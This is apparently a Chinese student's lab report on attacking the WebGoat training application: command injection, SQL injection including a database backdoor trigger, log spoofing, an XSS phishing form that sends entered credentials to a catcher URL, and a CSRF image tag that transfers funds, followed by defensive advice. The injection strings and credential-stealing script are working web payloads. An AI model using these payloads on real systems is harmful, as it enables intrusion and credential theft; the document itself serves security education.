一、实验内容
二、实验步骤
1、Webgoat前期准备
2、SQL注入攻击
3、XSS攻击
4、CSRF攻击
三、实验中遇到的问题
四、实验总结
1、实验后回答问题
2、实验感想
本实践的目标理解常用网络攻击技术的基本原理。完成Webgoat实践下相关实验。
java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoatlocalhost:8080/WebGoat,使用默认名和密码登录WebGoat课程Injection FlawsCommand Injection,即命令注入,是对任何参数驱动的站点的严重威胁,且容易扩散,造成更坏的影响。
Inspect Element进入调试界面,对源代码进行修改BackDoors.help后面加上"& netstat -an & ipconfig",其中netstat -an命令能看到所有和本地计算机建立连接的IP,而ipconfig可以查看本机IP信息
View,可看到命令的输出结果,即所有和本地计算机建立连接的IP和本机IP信息,攻击成功!
Numeric SQL Injection,即数字型注入,在
SELECT * FROM weather_data WHERE station = [station]中station 字段中注入特征字符,能组合成新的SQL 语句。
Inspect Element进入调试界面,对源代码进行修改101,后面加上or 1=1

Log Spoofing,即日志欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。
yanhan%0d%0aLogin Succeeded for username: admin,其中%0d是空格,%0a是换行
String SQL Injection,即字符串注入,基于某个特殊查询语句构造SQL注入字符串。
‘ OR ‘1‘=‘1,由于‘1‘=‘1‘是永真式,所有的用户信息将会被输出
LAB:SQL Injection,即实验室SQL注入,分为以下几个Stage
Stage1:String SQL Injection,即字符串注入
‘ or 1=1 --,可以在不知道密码的情况下登录账户Neville
Stage3:Numeric SQL Injection,即数字型注入
101 or 1=1 order by salary desc --,就可以以员工身份查看老板的工资了
Database Backdoors,即数据库后门
101; update employee set salary=6666可以更新员工工资,没有经过任何验证就可以简单更改数据表
同理可以设置增删查改语句对数据库进行操作
在输入框输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘john@hackme.com‘ WHERE userid = NEW.userid,意思是创建一个后门触发器,当有人往数据表里插入一行数据时,就会自动触发该后门,接着将新插入一行的email设置为john@hackme.com,攻击者就可以通过邮箱接收到消息了~

Phishing with XSS,即网络钓鱼,在XSS的帮助下,可以制作钓鱼工具或向某些官方页面中增加内容,很难发现该内容是否存在威胁。
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
onclick时对应的hack()函数<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("You are under attack!!!User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>

跨站请求伪造,目标是向新闻组发送电子邮件,该电子邮件包含一个图像,其URL指向恶意请求,通过身份认证的CSRF电子邮件的接收者将转移资金。
title框中输入任意标题,在Message框中输入<img src="attack?Screen=380&menu=900&transferFunds=100000"/>,当满足Screen值为380,menu值为900时,产生攻击链接,一旦点击该链接就会触发转移100000的资金。

解决过程:
由于源代码规定了密码框长度为8位,故编写的SQL语句无法完全写入密码框,在源代码中更改密码长度即可。

对漏洞注入点相关代码进行处理,筛除特殊字符,以规范代码安全性;
关闭或删除不必要的交互式提交表单页面;
普通用户与系统管理员用户的权限要有严格的区分;
不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。
网站开发者运用转义安全字符等手段,并且坚持不相信用户输入的任何数据的原则
表单提交的时候进行特殊字符的检测
对输入框做长度限制
在后台对数据进行过滤
使用令牌,每一个网页包含一个web server产生的令牌,提交时,也将该令牌提交到服务器,服务器进行判断,如果令牌不符合,就判定存在CSRF攻击;
将提交方法改为post,或将 GET请求设置为只浏览而不改变服务器端资源
定期清理cookie
使用随机数对表单中的值进行验证
终于是最后一个实验啦yeah!通过这学期9个实验的漫漫长路,我发现自己学到了很多新知识,对网络攻防的内容也有一些兴趣,虽然很多方面做的还是有所不足,但是仍然收获颇丰,至少我明白了网络环境危机四伏,不要轻易在网络上泄漏自己的私密信息。
2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础
原文:https://www.cnblogs.com/yh666/p/10917877.html